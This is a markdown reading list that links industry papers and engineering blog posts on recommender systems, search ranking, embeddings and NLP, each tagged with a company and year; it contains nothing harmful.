21. [Talent Search and Recommendation Systems at LinkedIn: Practical Challenges and Lessons Learned](https://arxiv.org/abs/1809.06481) ([Paper](https://arxiv.org/pdf/1809.06481.pdf)) `LinkedIn` `2018`
21. [Behavior Sequence Transformer for E-commerce Recommendation in Alibaba](https://arxiv.org/abs/1905.06874) ([Paper](https://arxiv.org/pdf/1905.06874.pdf)) `Alibaba` `2019`
22. [SDM: Sequential Deep Matching Model for Online Large-scale Recommender System](https://arxiv.org/abs/1909.00385) ([Paper](https://arxiv.org/pdf/1909.00385.pdf)) `Alibaba` `2019`
23. [Multi-Interest Network with Dynamic Routing for Recommendation at Tmall](https://arxiv.org/abs/1904.08030) ([Paper](https://arxiv.org/pdf/1904.08030.pdf)) `Alibaba` `2019`
24. [Personalized Recommendations for Experiences Using Deep Learning](https://www.tripadvisor.com/engineering/personalized-recommendations-for-experiences-using-deep-learning/) `TripAdvisor` `2019`
25. [Powered by AI: Instagram’s Explore recommender system](https://ai.facebook.com/blog/powered-by-ai-instagrams-explore-recommender-system/) `Facebook` `2019`
26. [Marginal Posterior Sampling for Slate Bandits](https://www.ijcai.org/proceedings/2019/308) ([Paper](https://www.ijcai.org/proceedings/2019/0308.pdf)) `Netflix` `2019`
27. [Food Discovery with Uber Eats: Using Graph Learning to Power Recommendations](https://eng.uber.com/uber-eats-graph-learning/) `Uber` `2019`
28. [Music recommendation at Spotify](http://sigir.org/afirm2019/slides/16.%20Friday%20-%20Music%20Recommendation%20at%20Spotify%20-%20Ben%20Carterette.pdf) `Spotify` `2019`
29. [Using Machine Learning to Predict what File you Need Next (Part 1)](https://dropbox.tech/machine-learning/content-suggestions-machine-learning) `Dropbox` `2019`
30. [Using Machine Learning to Predict what File you Need Next (Part 2)](https://dropbox.tech/machine-learning/using-machine-learning-to-predict-what-file-you-need-next-part-2) `Dropbox` `2019`
31. [Learning to be Relevant: Evolution of a Course Recommendation System](https://dl.acm.org/doi/pdf/10.1145/3357384.3357817) (**PAPER NEEDED**)`LinkedIn` `2019`
32. [Temporal-Contextual Recommendation in Real-Time](https://www.amazon.science/publications/temporal-contextual-recommendation-in-real-time) ([Paper](https://assets.amazon.science/96/71/d1f25754497681133c7aa2b7eb05/temporal-contextual-recommendation-in-real-time.pdf)) `Amazon` `2020`
33. [P-Companion: A Framework for Diversified Complementary Product Recommendation](https://www.amazon.science/publications/p-companion-a-principled-framework-for-diversified-complementary-product-recommendation) ([Paper](https://assets.amazon.science/d5/16/3f7809974a899a11bacdadefdf24/p-companion-a-principled-framework-for-diversified-complementary-product-recommendation.pdf)) `Amazon` `2020`
34. [Deep Interest with Hierarchical Attention Network for Click-Through Rate Prediction](https://arxiv.org/abs/2005.12981) ([Paper](https://arxiv.org/pdf/2005.12981.pdf)) `Alibaba` `2020`
35. [TPG-DNN: A Method for User Intent Prediction with Multi-task Learning](https://arxiv.org/abs/2008.02122) ([Paper](https://arxiv.org/pdf/2008.02122.pdf)) `Alibaba` `2020`
36. [PURS: Personalized Unexpected Recommender System for Improving User Satisfaction](https://dl.acm.org/doi/10.1145/3383313.3412238) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3383313.3412238)) `Alibaba` `2020`
37. [Controllable Multi-Interest Framework for Recommendation](https://arxiv.org/abs/2005.09347) ([Paper](https://arxiv.org/pdf/2005.09347)) `Alibaba` `2020`
38. [MiNet: Mixed Interest Network for Cross-Domain Click-Through Rate Prediction](https://arxiv.org/abs/2008.02974) ([Paper](https://arxiv.org/pdf/2008.02974.pdf)) `Alibaba` `2020`
39. [ATBRG: Adaptive Target-Behavior Relational Graph Network for Effective Recommendation](https://arxiv.org/abs/2005.12002) ([Paper](https://arxiv.org/pdf/2005.12002.pdf)) `Alibaba` `2020`
40. [For Your Ears Only: Personalizing Spotify Home with Machine Learning](https://engineering.atspotify.com/2020/01/16/for-your-ears-only-personalizing-spotify-home-with-machine-learning/) `Spotify` `2020`
41. [Reach for the Top: How Spotify Built Shortcuts in Just Six Months](https://engineering.atspotify.com/2020/04/15/reach-for-the-top-how-spotify-built-shortcuts-in-just-six-months/) `Spotify` `2020`
42. [Contextual and Sequential User Embeddings for Large-Scale Music Recommendation](https://dl.acm.org/doi/10.1145/3383313.3412248) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3383313.3412248)) `Spotify` `2020`
43. [The Evolution of Kit: Automating Marketing Using Machine Learning](https://engineering.shopify.com/blogs/engineering/evolution-kit-automating-marketing-machine-learning) `Shopify` `2020`
44. [A Closer Look at the AI Behind Course Recommendations on LinkedIn Learning (Part 1)](https://engineering.linkedin.com/blog/2020/course-recommendations-ai-part-one) `LinkedIn` `2020`
45. [A Closer Look at the AI Behind Course Recommendations on LinkedIn Learning (Part 2)](https://engineering.linkedin.com/blog/2020/course-recommendations-ai-part-two) `LinkedIn` `2020`
46. [Building a Heterogeneous Social Network Recommendation System](https://engineering.linkedin.com/blog/2020/building-a-heterogeneous-social-network-recommendation-system) `LinkedIn` `2020`
47. [How TikTok recommends videos #ForYou](https://newsroom.tiktok.com/en-us/how-tiktok-recommends-videos-for-you) `ByteDance` `2020`
48. [Zero-Shot Heterogeneous Transfer Learning from RecSys to Cold-Start Search Retrieval](https://arxiv.org/abs/2008.02930) ([Paper](https://arxiv.org/pdf/2008.02930.pdf)) `Google` `2020`
49. [Improved Deep & Cross Network for Feature Cross Learning in Web-scale LTR Systems](https://arxiv.org/abs/2008.13535) ([Paper](https://arxiv.org/pdf/2008.13535.pdf)) `Google` `2020`
50. [Mixed Negative Sampling for Learning Two-tower Neural Networks in Recommendations](https://research.google/pubs/pub50257/) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/b9f4e78a8830fe5afcf2f0452862fb3c0d6584ea.pdf)) `Google` `2020`
51. [Future Data Helps Training: Modeling Future Contexts for Session-based Recommendation](https://arxiv.org/pdf/1906.04473.pdf) ([Paper](https://arxiv.org/pdf/1906.04473.pdf)) `Tencent` `2020`
52. [A Case Study of Session-based Recommendations in the Home-improvement Domain](https://dl.acm.org/doi/10.1145/3383313.3412235) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3383313.3412235)) `Home Depot` `2020`
53. [Balancing Relevance and Discovery to Inspire Customers in the IKEA App](https://dl.acm.org/doi/10.1145/3383313.3411550) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3383313.3411550)) `Ikea` `2020`
54. [How we use AutoML, Multi-task learning and Multi-tower models for Pinterest Ads](https://medium.com/pinterest-engineering/how-we-use-automl-multi-task-learning-and-multi-tower-models-for-pinterest-ads-db966c3dc99e) `Pinterest` `2020`
55. [Multi-task Learning for Related Products Recommendations at Pinterest](https://medium.com/pinterest-engineering/multi-task-learning-for-related-products-recommendations-at-pinterest-62684f631c12) `Pinterest` `2020`
56. [Improving the Quality of Recommended Pins with Lightweight Ranking](https://medium.com/pinterest-engineering/improving-the-quality-of-recommended-pins-with-lightweight-ranking-8ff5477b20e3) `Pinterest` `2020`
57. [Multi-task Learning and Calibration for Utility-based Home Feed Ranking](https://medium.com/pinterest-engineering/multi-task-learning-and-calibration-for-utility-based-home-feed-ranking-64087a7bcbad) `Pinterest` `2020`
57. [Personalized Cuisine Filter Based on Customer Preference and Local Popularity](https://doordash.engineering/2020/01/27/personalized-cuisine-filter/) `DoorDash` `2020`
58. [How We Built a Matchmaking Algorithm to Cross-Sell Products](https://www.gojek.io/blog/how-we-built-a-matchmaking-algorithm-to-cross-sell-products) `Gojek` `2020`
59. [Lessons Learned Addressing Dataset Bias in Model-Based Candidate Generation](https://arxiv.org/abs/2105.09293) ([Paper](https://arxiv.org/pdf/2105.09293.pdf)) `Twitter` `2021`
60. [Self-supervised Learning for Large-scale Item Recommendations](https://arxiv.org/abs/2007.12865) ([Paper](https://arxiv.org/pdf/2007.12865.pdf)) `Google` `2021`
61. [Deep Retrieval: End-to-End Learnable Structure Model for Large-Scale Recommendations](https://arxiv.org/abs/2007.07203) ([Paper](https://arxiv.org/pdf/2007.07203.pdf)) `ByteDance` `2021`
62. [Using AI to Help Health Experts Address the COVID-19 Pandemic](https://ai.facebook.com/blog/using-ai-to-help-health-experts-address-the-covid-19-pandemic/) `Facebook` `2021`
63. [Advertiser Recommendation Systems at Pinterest](https://medium.com/pinterest-engineering/advertiser-recommendation-systems-at-pinterest-ccb255fbde20) `Pinterest` `2021`
64. [On YouTube's Recommendation System](https://blog.youtube/inside-youtube/on-youtubes-recommendation-system/) `YouTube` `2021`
65. ["Are you sure?": Preliminary Insights from Scaling Product Comparisons to Multiple Shops](https://arxiv.org/abs/2107.03256) `Coveo` `2021`
66. [Mozrt, a Deep Learning Recommendation System Empowering Walmart Store Associates](https://medium.com/walmartglobaltech/mozrt-a-deep-learning-recommendation-system-empowering-walmart-store-associates-with-a-5d42c08d88da) `Walmart` `2021`
67. [Understanding Data Storage and Ingestion for Large-Scale Deep Recommendation Model Training](https://arxiv.org/abs/2108.09373) ([Paper](https://arxiv.org/pdf/2108.09373.pdf)) `Meta` `2021`
67. [The Amazon Music conversational recommender is hitting the right notes](https://www.amazon.science/latest-news/how-amazon-music-uses-recommendation-system-machine-learning) `Amazon` `2022`
68. [Personalized complementary product recommendation](https://www.amazon.science/publications/personalized-complementary-product-recommendation) ([Paper](https://assets.amazon.science/6c/d9/a0ec3eda4f0fb4312ce0ada41771/personalized-complementary-product-recommendation.pdf)) `Amazon` `2022`
69. [Building a Deep Learning Based Retrieval System for Personalized Recommendations](https://tech.ebayinc.com/engineering/building-a-deep-learning-based-retrieval-system-for-personalized-recommendations/) `eBay` `2022`
70. [How We Built: An Early-Stage Machine Learning Model for Recommendations](https://www.onepeloton.com/press/articles/how-we-built-machine-learning) `Peloton` `2022`
71. [Lessons Learned from Building out Context-Aware Recommender Systems](https://www.onepeloton.com/press/articles/lessons-learned-from-building-context-aware-recommender-systems) `Peloton` `2022`
72. [Beyond Matrix Factorization: Using hybrid features for user-business recommendations](https://engineeringblog.yelp.com/2022/04/beyond-matrix-factorization-using-hybrid-features-for-user-business-recommendations.html) `Yelp` `2022`
73. [Improving job matching with machine-learned activity features](https://engineering.linkedin.com/blog/2022/improving-job-matching-with-machine-learned-activity-features-) `LinkedIn` `2022`
74. [Understanding Data Storage and Ingestion for Large-Scale Deep Recommendation Model Training](https://arxiv.org/abs/2108.09373v4) `Meta` `2022`
75. [Blueprints for recommender system architectures: 10th anniversary edition](https://amatriain.net/blog/RecsysArchitectures) `Xavier Amatriain` `2022`
76. [How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume](https://medium.com/pinterest-engineering/how-pinterest-leverages-realtime-user-actions-in-recommendation-to-boost-homefeed-engagement-volume-165ae2e8cde8) `Pinterest` `2022`
77. [RecSysOps: Best Practices for Operating a Large-Scale Recommender System](https://netflixtechblog.medium.com/recsysops-best-practices-for-operating-a-large-scale-recommender-system-95bbe195a841) `Netflix` `2022`
78. [Recommend API: Unified end-to-end machine learning infrastructure to generate recommendations](https://slack.engineering/recommend-api/) `Slack` `2022`
79. [Evolving DoorDash’s Substitution Recommendations Algorithm](https://doordash.engineering/2022/09/08/evolving-doordashs-substitution-recommendations-algorithm/) `DoorDash` `2022`
80. [Homepage Recommendation with Exploitation and Exploration](https://doordash.engineering/2022/10/05/homepage-recommendation-with-exploitation-and-exploration/) `DoorDash` `2022`
81. [GPU-accelerated ML Inference at Pinterest](https://medium.com/@Pinterest_Engineering/gpu-accelerated-ml-inference-at-pinterest-ad1b6a03a16d) `Pinterest` `2022`
82. [Addressing Confounding Feature Issue for Causal Recommendation](https://arxiv.org/abs/2205.06532) ([Paper](https://arxiv.org/pdf/2205.06532.pdf)) `Tencent` `2022`
## Search & Ranking
1. [Amazon Search: The Joy of Ranking Products](https://www.amazon.science/publications/amazon-search-the-joy-of-ranking-products) ([Paper](https://assets.amazon.science/89/cd/34289f1f4d25b5857d776bdf04d5/amazon-search-the-joy-of-ranking-products.pdf), [Video](https://www.youtube.com/watch?v=NLrhmn-EZ88), [Code](https://github.com/dariasor/TreeExtra)) `Amazon` `2016`
2. [How Lazada Ranks Products to Improve Customer Experience and Conversion](https://www.slideshare.net/eugeneyan/how-lazada-ranks-products-to-improve-customer-experience-and-conversion) `Lazada` `2016`
3. [Ranking Relevance in Yahoo Search](https://www.kdd.org/kdd2016/subtopic/view/ranking-relevance-in-yahoo-search) ([Paper](https://www.kdd.org/kdd2016/papers/files/adf0361-yinA.pdf)) `Yahoo` `2016`
4. [Learning to Rank Personalized Search Results in Professional Networks](https://arxiv.org/abs/1605.04624) ([Paper](https://arxiv.org/pdf/1605.04624.pdf)) `LinkedIn` `2016`
5. [Using Deep Learning at Scale in Twitter’s Timelines](https://blog.twitter.com/engineering/en_us/topics/insights/2017/using-deep-learning-at-scale-in-twitters-timelines.html) `Twitter` `2017`
6. [An Ensemble-based Approach to Click-Through Rate Prediction for Promoted Listings at Etsy](https://arxiv.org/abs/1711.01377) ([Paper](https://arxiv.org/pdf/1711.01377.pdf)) `Etsy` `2017`
7. [Powering Search & Recommendations at DoorDash](https://doordash.engineering/2017/07/06/powering-search-recommendations-at-doordash/) `DoorDash` `2017`
8. [Applying Deep Learning To Airbnb Search](https://arxiv.org/abs/1810.09591) ([Paper](https://arxiv.org/pdf/1810.09591.pdf)) `Airbnb` `2018`
9. [In-session Personalization for Talent Search](https://arxiv.org/abs/1809.06488) ([Paper](https://arxiv.org/pdf/1809.06488.pdf)) `LinkedIn` `2018`
10. [Talent Search and Recommendation Systems at LinkedIn](https://arxiv.org/abs/1809.06481) ([Paper](https://arxiv.org/pdf/1809.06481.pdf)) `LinkedIn` `2018`
11. [Food Discovery with Uber Eats: Building a Query Understanding Engine](https://eng.uber.com/uber-eats-query-understanding/) `Uber` `2018`
12. [Globally Optimized Mutual Influence Aware Ranking in E-Commerce Search](https://arxiv.org/abs/1805.08524) ([Paper](https://arxiv.org/pdf/1805.08524.pdf)) `Alibaba` `2018`
13. [Reinforcement Learning to Rank in E-Commerce Search Engine](https://arxiv.org/abs/1803.00710) ([Paper](https://arxiv.org/pdf/1803.00710.pdf)) `Alibaba` `2018`
14. [Semantic Product Search](https://arxiv.org/abs/1907.00937) ([Paper](https://arxiv.org/pdf/1907.00937.pdf)) `Amazon` `2019`
15. [Machine Learning-Powered Search Ranking of Airbnb Experiences](https://medium.com/airbnb-engineering/machine-learning-powered-search-ranking-of-airbnb-experiences-110b4b1a0789) `Airbnb` `2019`
16. [Entity Personalized Talent Search Models with Tree Interaction Features](https://arxiv.org/abs/1902.09041) ([Paper](https://arxiv.org/pdf/1902.09041.pdf)) `LinkedIn` `2019`
17. [The AI Behind LinkedIn Recruiter Search and recommendation systems](https://engineering.linkedin.com/blog/2019/04/ai-behind-linkedin-recruiter-search-and-recommendation-systems) `LinkedIn` `2019`
18. [Learning Hiring Preferences: The AI Behind LinkedIn Jobs](https://engineering.linkedin.com/blog/2019/02/learning-hiring-preferences--the-ai-behind-linkedin-jobs) `LinkedIn` `2019`
19. [The Secret Sauce Behind Search Personalisation](https://www.gojek.io/blog/the-secret-sauce-behind-search-personalisation) `Gojek` `2019`
20. [Neural Code Search: ML-based Code Search Using Natural Language Queries](https://ai.facebook.com/blog/neural-code-search-ml-based-code-search-using-natural-language-queries/) `Facebook` `2019`
21. [Aggregating Search Results from Heterogeneous Sources via Reinforcement Learning](https://arxiv.org/abs/1902.08882) ([Paper](https://arxiv.org/pdf/1902.08882.pdf)) `Alibaba` `2019`
22. [Cross-domain Attention Network with Wasserstein Regularizers for E-commerce Search](https://dl.acm.org/doi/10.1145/3357384.3357809) `Alibaba` `2019`
23. [Understanding Searches Better Than Ever Before](https://www.blog.google/products/search/search-language-understanding-bert/) ([Paper](https://arxiv.org/pdf/1810.04805.pdf)) `Google` `2019`
24. [How We Used Semantic Search to Make Our Search 10x Smarter](https://medium.com/tokopedia-engineering/how-we-used-semantic-search-to-make-our-search-10x-smarter-bd9c7f601821) `Tokopedia` `2019`
25. [Query2vec: Search query expansion with query embeddings](https://bytes.grubhub.com/search-query-embeddings-using-query2vec-f5931df27d79) `GrubHub` `2019`
26. [MOBIUS: Towards the Next Generation of Query-Ad Matching in Baidu’s Sponsored Search](http://research.baidu.com/Public/uploads/5d12eca098d40.pdf) `Baidu` `2019`
27. [Why Do People Buy Seemingly Irrelevant Items in Voice Product Search?](https://www.amazon.science/publications/why-do-people-buy-irrelevant-items-in-voice-product-search) ([Paper](https://assets.amazon.science/f7/48/0562b2c14338a0b76ccf4f523fa5/why-do-people-buy-irrelevant-items-in-voice-product-search.pdf)) `Amazon` `2020`
28. [Managing Diversity in Airbnb Search](https://arxiv.org/abs/2004.02621) ([Paper](https://arxiv.org/pdf/2004.02621.pdf)) `Airbnb` `2020`
29. [Improving Deep Learning for Airbnb Search](https://arxiv.org/abs/2002.05515) ([Paper](https://arxiv.org/pdf/2002.05515.pdf)) `Airbnb` `2020`
30. [Quality Matches Via Personalized AI for Hirer and Seeker Preferences](https://engineering.linkedin.com/blog/2020/quality-matches-via-personalized-ai) `LinkedIn` `2020`
31. [Understanding Dwell Time to Improve LinkedIn Feed Ranking](https://engineering.linkedin.com/blog/2020/understanding-feed-dwell-time) `LinkedIn` `2020`
32. [Ads Allocation in Feed via Constrained Optimization](https://dl.acm.org/doi/abs/10.1145/3394486.3403391) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3394486.3403391), [Video](https://crossminds.ai/video/5f33697a0576dd25aef288ea/)) `LinkedIn` `2020`
33. [Understanding Dwell Time to Improve LinkedIn Feed Ranking](https://engineering.linkedin.com/blog/2020/understanding-feed-dwell-time) `LinkedIn` `2020`
34. [AI at Scale in Bing](https://blogs.bing.com/search/2020_05/AI-at-Scale-in-Bing) `Microsoft` `2020`
35. [Query Understanding Engine in Traveloka Universal Search](https://medium.com/traveloka-engineering/query-understanding-engine-in-traveloka-universal-search-410ad3895db7) `Traveloka` `2020`
36. [Bayesian Product Ranking at Wayfair](https://tech.wayfair.com/data-science/2020/01/bayesian-product-ranking-at-wayfair) `Wayfair` `2020`
37. [COLD: Towards the Next Generation of Pre-Ranking System](https://arxiv.org/abs/2007.16122) ([Paper](https://arxiv.org/pdf/2007.16122.pdf)) `Alibaba` `2020`
38. [Shop The Look: Building a Large Scale Visual Shopping System at Pinterest](https://dl.acm.org/doi/abs/10.1145/3394486.3403372) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3394486.3403372), [Video](https://crossminds.ai/video/5f3369790576dd25aef288d7/)) `Pinterest` `2020`
39. [Driving Shopping Upsells from Pinterest Search](https://medium.com/pinterest-engineering/driving-shopping-upsells-from-pinterest-search-d06329255402) `Pinterest` `2020`
40. [GDMix: A Deep Ranking Personalization Framework](https://engineering.linkedin.com/blog/2020/gdmix--a-deep-ranking-personalization-framework) ([Code](https://github.com/linkedin/gdmix)) `LinkedIn` `2020`
41. [Bringing Personalized Search to Etsy](https://codeascraft.com/2020/10/29/bringing-personalized-search-to-etsy/) `Etsy` `2020`
42. [Building a Better Search Engine for Semantic Scholar](https://medium.com/ai2-blog/building-a-better-search-engine-for-semantic-scholar-ea23a0b661e7) `Allen Institute for AI` `2020`
43. [Query Understanding for Natural Language Enterprise Search](https://arxiv.org/abs/2012.06238) ([Paper](https://arxiv.org/pdf/2012.06238.pdf)) `Salesforce` `2020`
44. [Things Not Strings: Understanding Search Intent with Better Recall](https://doordash.engineering/2020/12/15/understanding-search-intent-with-better-recall/) `DoorDash` `2020`
45. [Query Understanding for Surfacing Under-served Music Content](https://research.atspotify.com/publications/query-understanding-for-surfacing-under-served-music-content/) ([Paper](https://labtomarket.files.wordpress.com/2020/08/cikm2020.pdf)) `Spotify` `2020`
46. [Embedding-based Retrieval in Facebook Search](https://arxiv.org/abs/2006.11632) ([Paper](https://arxiv.org/pdf/2006.11632.pdf)) `Facebook` `2020`
47. [Towards Personalized and Semantic Retrieval for E-commerce Search via Embedding Learning](https://arxiv.org/abs/2006.02282) ([Paper](https://arxiv.org/pdf/2006.02282.pdf)) `JD` `2020`
48. [QUEEN: Neural query rewriting in e-commerce](https://www.amazon.science/publications/queen-neural-query-rewriting-in-e-commerce) ([Paper](https://assets.amazon.science/f9/78/dda8f1e143dba8ca96e43ec487c6/queen-neural-query-rewriting-in-ecommerce.pdf)) `Amazon` `2021`
49. [Using Learning-to-rank to Precisely Locate Where to Deliver Packages](https://www.amazon.science/blog/using-learning-to-rank-to-precisely-locate-where-to-deliver-packages) ([Paper](https://www.amazon.science/publications/getting-your-package-to-the-right-place-supervised-machine-learning-for-geolocation)) `Amazon` `2021`
50. [Seasonal relevance in e-commerce search](https://www.amazon.science/publications/seasonal-relevance-in-e-commerce-search) ([Paper](https://assets.amazon.science/ac/5e/d47612a846d6bec15738d7c8ab40/seasonal-relevance-in-ecommerce-search.pdf)) `Amazon` `2021`
51. [Graph Intention Network for Click-through Rate Prediction in Sponsored Search](https://arxiv.org/abs/2103.16164) ([Paper](https://arxiv.org/pdf/2103.16164.pdf)) `Alibaba` `2021`
52. [How We Built A Context-Specific Bidding System for Etsy Ads](https://codeascraft.com/2021/03/23/how-we-built-a-context-specific-bidding-system-for-etsy-ads/) `Etsy` `2021`
53. [Pre-trained Language Model based Ranking in Baidu Search](https://arxiv.org/abs/2105.11108) ([Paper](https://arxiv.org/pdf/2105.11108.pdf)) `Baidu` `2021`
54. [Stitching together spaces for query-based recommendations](https://multithreaded.stitchfix.com/blog/2021/08/13/stitching-together-spaces-for-query-based-recommendations/) `Stitch Fix` `2021`
55. [Deep Natural Language Processing for LinkedIn Search Systems](https://arxiv.org/abs/2108.08252) ([Paper](https://arxiv.org/pdf/2108.08252.pdf)) `LinkedIn` `2021`
56. [Siamese BERT-based Model for Web Search Relevance Ranking](https://arxiv.org/abs/2112.01810) ([Paper](https://arxiv.org/pdf/2112.01810.pdf), [Code](https://github.com/seznam/DaReCzech)) `Seznam` `2021`
57. [SearchSage: Learning Search Query Representations at Pinterest](https://medium.com/pinterest-engineering/searchsage-learning-search-query-representations-at-pinterest-654f2bb887fc) `Pinterest` `2021`
58. [Query2Prod2Vec: Grounded Word Embeddings for eCommerce](https://aclanthology.org/2021.naacl-industry.20/) `Coveo` `2021`
59. [3 Changes to Expand DoorDash’s Product Search Beyond Delivery](https://doordash.engineering/2022/05/10/3-changes-to-expand-doordashs-product-search/) `DoorDash` `2022`
60. [Learning To Rank Diversely](https://medium.com/airbnb-engineering/learning-to-rank-diversely-add6b1929621) `Airbnb` `2022`
61. [How to Optimise Rankings with Cascade Bandits](https://medium.com/expedia-group-tech/how-to-optimise-rankings-with-cascade-bandits-5d92dfa0f16b) `Expedia` `2022`
62. [A Guide to Google Search Ranking Systems](https://developers.google.com/search/docs/appearance/ranking-systems-guide) `Google` `2022`
63. [Deep Learning for Search Ranking at Etsy](https://www.etsy.com/codeascraft/deep-learning-for-search-ranking-at-etsy) `Etsy` `2022`
64. [Search at Calm](https://eng.calm.com/posts/search-at-calm) `Calm` `2022`
## Embeddings
1. [Vector Representation Of Items, Customer And Cart To Build A Recommendation System](https://arxiv.org/abs/1705.06338) ([Paper](https://arxiv.org/pdf/1705.06338.pdf)) `Sears` `2017`
2. [Billion-scale Commodity Embedding for E-commerce Recommendation in Alibaba](https://arxiv.org/abs/1803.02349) ([Paper](https://arxiv.org/pdf/1803.02349.pdf)) `Alibaba` `2018`
3. [Embeddings@Twitter](https://blog.twitter.com/engineering/en_us/topics/insights/2018/embeddingsattwitter.html) `Twitter` `2018`
4. [Listing Embeddings in Search Ranking](https://medium.com/airbnb-engineering/listing-embeddings-for-similar-listing-recommendations-and-real-time-personalization-in-search-601172f7603e) ([Paper](https://www.kdd.org/kdd2018/accepted-papers/view/real-time-personalization-using-embeddings-for-search-ranking-at-airbnb)) `Airbnb` `2018`
5. [Understanding Latent Style](https://multithreaded.stitchfix.com/blog/2018/06/28/latent-style/) `Stitch Fix` `2018`
6. [Towards Deep and Representation Learning for Talent Search at LinkedIn](https://arxiv.org/abs/1809.06473) ([Paper](https://arxiv.org/pdf/1809.06473.pdf)) `LinkedIn` `2018`
7. [Personalized Store Feed with Vector Embeddings](https://doordash.engineering/2018/04/02/personalized-store-feed-with-vector-embeddings/) `DoorDash` `2018`
8. [Should we Embed? A Study on Performance of Embeddings for Real-Time Recommendations](https://arxiv.org/abs/1907.06556)([Paper](https://arxiv.org/pdf/1907.06556.pdf)) `Moshbit` `2019`
9. [Machine Learning for a Better Developer Experience](https://netflixtechblog.com/machine-learning-for-a-better-developer-experience-1e600c69f36c) `Netflix` `2020`
10. [Announcing ScaNN: Efficient Vector Similarity Search](https://ai.googleblog.com/2020/07/announcing-scann-efficient-vector.html) ([Paper](https://arxiv.org/pdf/1908.10396.pdf), [Code](https://github.com/google-research/google-research/tree/master/scann)) `Google` `2020`
11. [BERT Goes Shopping: Comparing Distributional Models for Product Representations](https://aclanthology.org/2021.ecnlp-1.1/) `Coveo` `2021`
12. [The Embeddings That Came in From the Cold: Improving Vectors for New and Rare Products with Content-Based Inference](https://dl.acm.org/doi/10.1145/3383313.3411477) `Coveo` `2022`
13. [Embedding-based Retrieval at Scribd](https://tech.scribd.com/blog/2021/embedding-based-retrieval-scribd.html) `Scribd` `2021`
14. [Multi-objective Hyper-parameter Optimization of Behavioral Song Embeddings](https://arxiv.org/abs/2208.12724) ([Paper](https://arxiv.org/pdf/2208.12724.pdf)) `Apple` `2022`
15. [Embeddings at Spotify's Scale - How Hard Could It Be?](https://arize.com/resource/embeddings-at-scale-spotify-recsys/) `Spotify` `2023`
## Natural Language Processing
1. [Abusive Language Detection in Online User Content](https://dl.acm.org/doi/10.1145/2872427.2883062) ([Paper](http://www.yichang-cs.com/yahoo/WWW16_Abusivedetection.pdf)) `Yahoo` `2016`
2. [Smart Reply: Automated Response Suggestion for Email](https://research.google/pubs/pub45189/) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/45189.pdf)) `Google` `2016`
3. [Building Smart Replies for Member Messages](https://engineering.linkedin.com/blog/2017/10/building-smart-replies-for-member-messages) `LinkedIn` `2017`
4. [How Natural Language Processing Helps LinkedIn Members Get Support Easily](https://engineering.linkedin.com/blog/2019/04/how-natural-language-processing-help-support) `LinkedIn` `2019`
5. [Gmail Smart Compose: Real-Time Assisted Writing](https://arxiv.org/abs/1906.00080) ([Paper](https://arxiv.org/pdf/1906.00080.pdf)) `Google` `2019`
6. [Goal-Oriented End-to-End Conversational Models with Profile Features in a Real-World Setting](https://www.amazon.science/publications/goal-oriented-end-to-end-chatbots-with-profile-features-in-a-real-world-setting) ([Paper](https://assets.amazon.science/47/03/e0d14dc34d3eb6e0d4ec282067bd/goal-oriented-end-to-end-chatbots-with-profile-features-in-a-real-world-setting.pdf)) `Amazon` `2019`
7. [Give Me Jeans not Shoes: How BERT Helps Us Deliver What Clients Want](https://multithreaded.stitchfix.com/blog/2019/07/15/give-me-jeans/) `Stitch Fix` `2019`
8. [DeText: A deep NLP Framework for Intelligent Text Understanding](https://engineering.linkedin.com/blog/2020/open-sourcing-detext) ([Code](https://github.com/linkedin/detext)) `LinkedIn` `2020`
9. [SmartReply for YouTube Creators](https://ai.googleblog.com/2020/07/smartreply-for-youtube-creators.html) `Google` `2020`
10. [Using Neural Networks to Find Answers in Tables](https://ai.googleblog.com/2020/04/using-neural-networks-to-find-answers.html) ([Paper](https://arxiv.org/pdf/2004.02349.pdf)) `Google` `2020`
11. [A Scalable Approach to Reducing Gender Bias in Google Translate](https://ai.googleblog.com/2020/04/a-scalable-approach-to-reducing-gender.html) `Google` `2020`
12. [Assistive AI Makes Replying Easier](https://www.microsoft.com/en-us/research/group/msai/articles/assistive-ai-makes-replying-easier-2/) `Microsoft` `2020`
13. [AI Advances to Better Detect Hate Speech](https://ai.facebook.com/blog/ai-advances-to-better-detect-hate-speech/) `Facebook` `2020`
14. [A State-of-the-Art Open Source Chatbot](https://ai.facebook.com/blog/state-of-the-art-open-source-chatbot) ([Paper](https://arxiv.org/pdf/2004.13637.pdf)) `Facebook` `2020`
15. [A Highly Efficient, Real-Time Text-to-Speech System Deployed on CPUs](https://ai.facebook.com/blog/a-highly-efficient-real-time-text-to-speech-system-deployed-on-cpus/) `Facebook` `2020`
16. [Deep Learning to Translate Between Programming Languages](https://ai.facebook.com/blog/deep-learning-to-translate-between-programming-languages/) ([Paper](https://arxiv.org/abs/2006.03511), [Code](https://github.com/facebookresearch/TransCoder)) `Facebook` `2020`
17. [Deploying Lifelong Open-Domain Dialogue Learning](https://arxiv.org/abs/2008.08076) ([Paper](https://arxiv.org/pdf/2008.08076.pdf)) `Facebook` `2020`
18. [Introducing Dynabench: Rethinking the way we benchmark AI](https://ai.facebook.com/blog/dynabench-rethinking-ai-benchmarking/) `Facebook` `2020`
19. [How Gojek Uses NLP to Name Pickup Locations at Scale](https://www.gojek.io/blog/nlp-cartobert) `Gojek` `2020`
20. [The State-of-the-art Open-Domain Chatbot in Chinese and English](http://research.baidu.com/Blog/index-view?id=142) ([Paper](https://arxiv.org/pdf/2006.16779.pdf)) `Baidu` `2020`
21. [PEGASUS: A State-of-the-Art Model for Abstractive Text Summarization](https://ai.googleblog.com/2020/06/pegasus-state-of-art-model-for.html) ([Paper](https://arxiv.org/pdf/1912.08777.pdf), [Code](https://github.com/google-research/pegasus)) `Google` `2020`
22. [Photon: A Robust Cross-Domain Text-to-SQL System](https://www.aclweb.org/anthology/2020.acl-demos.24/) ([Paper](https://www.aclweb.org/anthology/2020.acl-demos.24.pdf)) ([Demo](http://naturalsql.com)) `Salesforce` `2020`
23. [GeDi: A Powerful New Method for Controlling Language Models](https://blog.einstein.ai/gedi/) ([Paper](https://arxiv.org/abs/2009.06367), [Code](https://github.com/salesforce/GeDi)) `Salesforce` `2020`
